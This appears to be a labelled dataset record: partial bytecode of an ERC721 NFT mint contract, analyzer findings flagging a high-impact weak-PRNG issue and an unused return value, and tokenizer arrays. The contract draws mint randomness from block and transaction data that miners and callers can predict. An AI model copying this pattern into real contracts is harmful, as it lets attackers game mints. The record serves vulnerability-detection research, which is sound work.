0f35b61054961160c565b6040516105569190613693565b60405180910390f35b61057960048036038101906105749190612ebd565b61169e565b6040516105869190613678565b60405180910390f35b6105a960048036038101906105a49190612e94565b611732565b005b6105b36118db565b6040516105c09190613935565b60405180910390f35b60006105d4826118e5565b9050919050565b6105e361195f565b73ffffffffffffffffffffffffffffffffffffffff166106016110be565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e90613855565b60405180910390fd5b80600c908051906020019061066d929190612cb8565b5050565b60606001805461068090613c03565b80601f01602080910402602001604051908101604052809291908181526020018280546106ac90613c03565b80156106f95780601f106106ce576101008083540402835291602001916106f9565b820191906000526020600020905b8154815290600101906020018083116106dc57829003601f168201915b5050505050905090565b600061070e82611967565b61074d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074490613835565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061079382610e1a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb906138b5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661082361195f565b73ffffffffffffffffffffffffffffffffffffffff16148061085257506108518161084c61195f565b61169e565b5b610891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610888906137b5565b60405180910390fd5b61089b83836119d3565b505050565b600d80546108ad90613c03565b80601f01602080910402602001604051908101604052809291908181526020018280546108d990613c03565b80156109265780601f106108fb57610100808354040283529160200191610926565b820191906000526020600020905b81548152906001019060200180831161090957829003601f168201915b505050505081565b6000600980549050905090565b61094361195f565b73ffffffffffffffffffffffffffffffffffffffff166109616110be565b73ffffffffffffffffffffffffffffffffffffffff16146109b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ae90613855565b60405180910390fd5b601581106109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190613775565b60405180910390fd5b6000819050610a098184611a8c565b505050565b610a1f610a1961195f565b82611b2b565b610a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a55906138f5565b60405180910390fd5b610a69838383611c09565b505050565b6000610a7983610ecc565b8210610aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab1906136b5565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610b1b61195f565b73ffffffffffffffffffffffffffffffffffffffff16610b396110be565b73ffffffffffffffffffffffffffffffffffffffff1614610b8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8690613855565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1647604051610bb59061356b565b60006040518083038185875af1925050503d8060008114610bf2576040519150601f19603f3d011682016040523d82523d6000602084013e610bf7565b606091505b5050905080610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c32906138d5565b60405180910390fd5b50565b610c5983838360405180602001604052806000815250611390565b505050565b6000610c6861092e565b8210610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090613915565b60405180910390fd5b60098281548110610ce3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b600c8054610d0290613c03565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2e90613c03565b8015610d7b5780601f10610d5057610100808354040283529160200191610d7b565b820191906000526020600020905b815481529060010190602001808311610d5e57829003601f168201915b505050505081565b610d8b61195f565b73ffffffffffffffffffffffffffffffffffffffff16610da96110be565b73ffffffffffffffffffffffffffffffffffffffff1614610dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df690613855565b60405180910390fd5b80610f3c9080519060200190610e16929190612cb8565b5050565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba906137f5565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f34906137d5565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f8c61195f565b73ffffffffffffffffffffffffffffffffffffffff16610faa6110be565b73ffffffffffffffffffffffffffffffffffffffff1614611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff790613855565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110ef61195f565b73ffffffffffffffffffffffffffffffffffffffff1661110d6110be565b73ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90613855565b60405180910390fd5b80600d9080519060200190611179929190612cb8565b5050565b60606002805461118c90613c03565b80601f01602080910402602001604051908101604052809291908181526020018280546111b890613c03565b80156112055780601f106111da57610100808354040283529160200191611205565b820191906000526020600020905b8154815290600101906020018083116111e857829003601f168201915b5050505050905090565b61121761195f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127c90613755565b60405180910390fd5b806006600061129261195f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661133f61195f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516113849190613678565b60405180910390a35050565b6113a161139b61195f565b83611b2b565b6113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d7906138f5565b60405180910390fd5b6113ec84848484611e65565b50505050565b606060006113fe611ec1565b9050600061140b84611f54565b905060006040518060400160405280600581526020017f2e6a736f6e000000000000000000000000000000000000000000000000000000815250905060008351141561145c57819350505050611486565b8282826040516020016114719392919061353a565b60405160208183030381529060405293505050505b919050565b601481565b6060600061149d83610ecc565b9050600081141561152057600067ffffffffffffffff8111156114e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115175781602001602082028036833780820191505090505b50915050611607565b60008167ffffffffffffffff811115611562577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115905781602001602082028036833780820191505090505b50905060005b82811015611600576115a88582610a6e565b8282815181106115e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806115f890613c66565b915050611596565b5080925050505b919050565b6060600d805461161b90613c03565b80601f016020809104026020016040519081016040528092919081815260200182805461164790613c03565b80156116945780601f1061166957610100808354040283529160200191611694565b820191906000526020600020905b81548152906001019060200180831161167757829003601f168201915b5050505050905090565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61173a61195f565b73ffffffffffffffffffffffffffffffffffffffff166117586110be565b73ffffffffffffffffffffffffffffffffffffffff16146117ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a590613855565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561181e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611815906136f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f2c905090565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611958575061195782612101565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611a4683610e1a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6014821115611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac790613895565b60405180910390fd5b6000610f3a54905060005b83811015611b1d576000611aef85836121e3565b9050611afb8482612251565b8280611b0690613bd9565b935050508080611b1590613c66565b915050611adb565b5080610f3a81905550505050565b6000611b3682611967565b611b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6c90613795565b60405180910390fd5b6000611b8083610e1a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611bef57508373ffffffffffffffffffffffffffffffffffffffff16611bd784610703565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c005750611bff818561169e565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611c2982610e1a565b73ffffffffffffffffffffffffffffffffffffffff1614611c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7690613875565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce690613735565b60405180910390fd5b611cfa83838361226f565b611d056000826119d3565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d559190613ae5565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611dac9190613a5e565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611e70848484611c09565b611e7c8484848461227f565b611ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb2906136d5565b60405180910390fd5b50505050565b6060610f3c8054611ed190613c03565b80601f0160208091040260200160405190810160405280929190818152602001828054611efd90613c03565b8015611f4a5780601f10611f1f57610100808354040283529160200191611f4a565b820191906000526020600020905b815481529060010190602001808311611f2d57829003601f168201915b5050505050905090565b60606000821415611f9c576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506120fc565b600082905060005b60008214611fce578080611fb790613c66565b915050600a82611fc79190613ab4565b9150611fa4565b60008167ffffffffffffffff811115612010577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156120425781602001600182028036833780820191505090505b5090505b600085146120f55760018261205b9190613ae5565b9150600a8561206a9190613caf565b60306120769190613a5e565b60f81b8183815181106120b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856120ee9190613ab4565b9450612046565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806121cc57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806121dc57506121db82612416565b5b9050919050565b600080333a43426001436121f79190613ae5565b40888860405160200161221097969594939291906135e7565b6040516020818303038152906040528051906020012060001c90506000610f3a548261223c9190613caf565b905061224781612480565b9250505092915050565b61226b8282604051806020016040528060008152506125eb565b5050565b61227a838383612646565b505050565b60006122a08473ffffffffffffffffffffffffffffffffffffffff1661275a565b15612409578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026122c961195f565b8786866040518563ffffffff1660e01b81526004016122eb949392919061359b565b602060405180830381600087803b15801561230557600080fd5b505af192505050801561233657506040513d601f19601f820116820180604052508101906123339190613064565b60015b6123b9573d8060008114612366576040519150601f19603f3d011682016040523d82523d6000602084013e61236b565b606091505b506000815114156123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a8906136d5565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061240e565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600080600e83610f2c81106124be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015490506000808214156124d4578390506124d8565b8190505b60006001610f3a546124ea9190613ae5565b90508085146125c7576000600e82610f2c8110612530577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0154905060008114156125835781600e87610f2c8110612579577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01819055506125c5565b80600e87610f2c81106125bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01819055505b505b610f3a60008154809291906125db90613bd9565b9190505550819350505050919050565b6125f5838361276d565b612602600084848461227f565b612641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612638906136d5565b60405180910390fd5b505050565b61265183838361293b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126945761268f81612940565b6126d3565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126d2576126d18382612989565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127165761271181612af6565b612755565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612754576127538282612c39565b5b5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d490613815565b60405180910390fd5b6127e681611967565b15612826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281d90613715565b60405180910390fd5b6128326000838361226f565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128829190613a5e565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161299684610ecc565b6129a09190613ae5565b9050600060086000848152602001908152602001600020549050818114612a85576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600980549050612b0a9190613ae5565b90506000600a6000848152602001908152602001600020549050600060098381548110612b60577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060098381548110612ba8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a6000858152602001908152602001600020600090556009805480612c1d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612c4483610ecc565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b828054612cc490613c03565b90600052602060002090601f016020900481019282612ce65760008555612d2d565b82601f10612cff57805160ff1916838001178555612d2d565b82800160010185558215612d2d579182015b82811115612d2c578251825591602001919060010190612d11565b5b509050612d3a9190612d3e565b5090565b5b80821115612d57576000816000905550600101612d3f565b5090565b6000612d6e612d6984613975565b613950565b905082815260208101848484011115612d8657600080fd5b612d91848285613b97565b509392505050565b6000612dac612da7846139a6565b613950565b905082815260208101848484011115612dc457600080fd5b612dcf848285613b97565b509392505050565b600081359050612de6816142f8565b92915050565b600081359050612dfb8161430f565b92915050565b600081359050612e1081614326565b92915050565b600081519050612e2581614326565b92915050565b600082601f830112612e3c57600080fd5b8135612e4c848260208601612d5b565b91505092915050565b600082601f830112612e6657600080fd5b8135612e76848260208601612d99565b91505092915050565b600081359050612e8e8161433d565b92915050565b600060208284031215612ea657600080fd5b6000612eb484828501612dd7565b91505092915050565b60008060408385031215612ed057600080fd5b6000612ede85828601612dd7565b9250506020612eef85828601612dd7565b9150509250929050565b600080600060608486031215612f0e57600080fd5b6000612f1c86828701612dd7565b9350506020612f2d86828701612dd7565b9250506040612f3e86828701612e7f565b9150509250925092565b60008060008060808587031215612f5e57600080fd5b6000612f6c87828801612dd7565b9450506020612f7d87828801612dd7565b9350506040612f8e87828801612e7f565b925050606085013567ffffffffffffffff811115612fab57600080fd5b612fb787828801612e2b565b91505092959194509250565b60008060408385031215612fd657600080fd5b6000612fe485828601612dd7565b9250506020612ff585828601612dec565b9150509250929050565b6000806040838503121561301257600080fd5b600061302085828601612dd7565b925050602061303185828601612e7f565b9150509250929050565b60006020828403121561304d57600080fd5b600061305b84828501612e01565b91505092915050565b60006020828403121561307657600080fd5b600061308484828501612e16565b91505092915050565b60006020828403121561309f57600080fd5b600082013567ffffffffffffffff8111156130b957600080fd5b6130c584828501612e55565b91505092915050565b6000602082840312156130e057600080fd5b60006130ee84828501612e7f565b91505092915050565b6000613103838361351c565b60208301905092915050565b61311881613b19565b82525050565b6000613129826139e7565b6131338185613a15565b935061313e836139d7565b8060005b8381101561316f57815161315688826130f7565b975061316183613a08565b925050600181019050613142565b5085935050505092915050565b61318581613b2b565b82525050565b61319481613b37565b82525050565b60006131a5826139f2565b6131af8185613a26565b93506131bf818560208601613ba6565b6131c881613d9c565b840191505092915050565b60006131de826139fd565b6131e88185613a42565b93506131f8818560208601613ba6565b61320181613d9c565b840191505092915050565b6000613217826139fd565b6132218185613a53565b9350613231818560208601613ba6565b80840191505092915050565b600061324a602b83613a42565b915061325582613dad565b604082019050919050565b600061326d603283613a42565b915061327882613dfc565b604082019050919050565b6000613290602683613a42565b915061329b82613e4b565b604082019050919050565b60006132b3601c83613a42565b91506132be82613e9a565b602082019050919050565b60006132d6602483613a42565b91506132e182613ec3565b604082019050919050565b60006132f9601983613a42565b915061330482613f12565b602082019050919050565b600061331c602b83613a42565b915061332782613f3b565b604082019050919050565b600061333f602c83613a42565b915061334a82613f8a565b604082019050919050565b6000613362603883613a42565b915061336d82613fd9565b604082019050919050565b6000613385602a83613a42565b915061339082614028565b604082019050919050565b60006133a8602983613a42565b91506133b382614077565b604082019050919050565b60006133cb602083613a42565b91506133d6826140c6565b602082019050919050565b60006133ee602c83613a42565b91506133f9826140ef565b604082019050919050565b6000613411602083613a42565b915061341c8261413e565b602082019050919050565b6000613434602983613a42565b915061343f82614167565b604082019050919050565b6000613457601983613a42565b9150613462826141b6565b602082019050919050565b600061347a602183613a42565b9150613485826141df565b604082019050919050565b600061349d600083613a37565b91506134a88261422e565b600082019050919050565b60006134c0601083613a42565b91506134cb82614231565b602082019050919050565b60006134e3603183613a42565b91506134ee8261425a565b604082019050919050565b6000613506602c83613a42565b9150613511826142a9565b604082019050919050565b61352581613b8d565b82525050565b61353481613b8d565b82525050565b6000613546828661320c565b9150613552828561320c565b915061355e828461320c565b9150819050949350505050565b600061357682613490565b9150819050919050565b6000602082019050613595600083018461310f565b92915050565b60006080820190506135b0600083018761310f565b6135bd602083018661310f565b6135ca604083018561352b565b81810360608301526135dc818461319a565b905095945050505050565b600060e0820190506135fc600083018a61310f565b613609602083018961352b565b613616604083018861352b565b613623606083018761352b565b613630608083018661318b565b61363d60a083018561352b565b61364a60c083018461352b565b98975050505050505050565b60006020820190508181036000830152613670818461311e565b905092915050565b600060208201905061368d600083018461317c565b92915050565b600060208201905081810360008301526136ad81846131d3565b905092915050565b600060208201905081810360008301526136ce8161323d565b9050919050565b600060208201905081810360008301526136ee81613260565b9050919050565b6000602082019050818103600083015261370e81613283565b9050919050565b6000602082019050818103600083015261372e816132a6565b9050919050565b6000602082019050818103600083015261374e816132c9565b9050919050565b6000602082019050818103600083015261376e816132ec565b9050919050565b6000602082019050818103600083015261378e8161330f565b9050919050565b600060208201905081810360008301526137ae81613332565b9050919050565b600060208201905081810360008301526137ce81613355565b9050919050565b600060208201905081810360008301526137ee81613378565b9050919050565b6000602082019050818103600083015261380e8161339b565b9050919050565b6000602082019050818103600083015261382e816133be565b9050919050565b6000602082019050818103600083015261384e816133e1565b9050919050565b6000602082019050818103600083015261386e81613404565b9050919050565b6000602082019050818103600083015261388e81613427565b9050919050565b600060208201905081810360008301526138ae8161344a565b9050919050565b600060208201905081810360008301526138ce8161346d565b9050919050565b600060208201905081810360008301526138ee816134b3565b9050919050565b6000602082019050818103600083015261390e816134d6565b9050919050565b6000602082019050818103600083015261392e816134f9565b9050919050565b600060208201905061394a600083018461352b565b92915050565b600061395a61396b565b90506139668282613c35565b919050565b6000604051905090565b600067ffffffffffffffff8211156139905761398f613d6d565b5b61399982613d9c565b9050602081019050919050565b600067ffffffffffffffff8211156139c1576139c0613d6d565b5b6139ca82613d9c565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613a6982613b8d565b9150613a7483613b8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aa957613aa8613ce0565b5b828201905092915050565b6000613abf82613b8d565b9150613aca83613b8d565b925082613ada57613ad9613d0f565b5b828204905092915050565b6000613af082613b8d565b9150613afb83613b8d565b925082821015613b0e57613b0d613ce0565b5b828203905092915050565b6000613b2482613b6d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613bc4578082015181840152602081019050613ba9565b83811115613bd3576000848401525b50505050565b6000613be482613b8d565b91506000821415613bf857613bf7613ce0565b5b600182039050919050565b60006002820490506001821680613c1b57607f821691505b60208210811415613c2f57613c2e613d3e565b5b50919050565b613c3e82613d9c565b810181811067ffffffffffffffff82111715613c5d57613c5c613d6d565b5b80604052505050565b6000613c7182613b8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ca457613ca3613ce0565b5b600182019050919050565b6000613cba82613b8d565b9150613cc583613b8d565b925082613cd557613cd4613d0f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f596f752073686f756c64206e6f74206d696e74206d6f7265207468616e20323060008201527f20617420612074696d652e000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4d696e74696e6720746f6f206d616e79206174206f6e63652e00000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b61430181613b19565b811461430c57600080fd5b50565b61431881613b2b565b811461432357600080fd5b50565b61432f81613b41565b811461433a57600080fd5b50565b61434681613b8d565b811461435157600080fd5b5056fea2646970667358221220944a7377e0622a606d3cab245c6757f2fdca55cb915e220692d4274ff1187fed64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2629,
2278,
2549,
7959,
16932,
4215,
18939,
2050,
2575,
22907,
18939,
2620,
2063,
19961,
2692,
21619,
2581,
2575,
2581,
2620,
2683,
22203,
2620,
2487,
2063,
24087,
2683,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
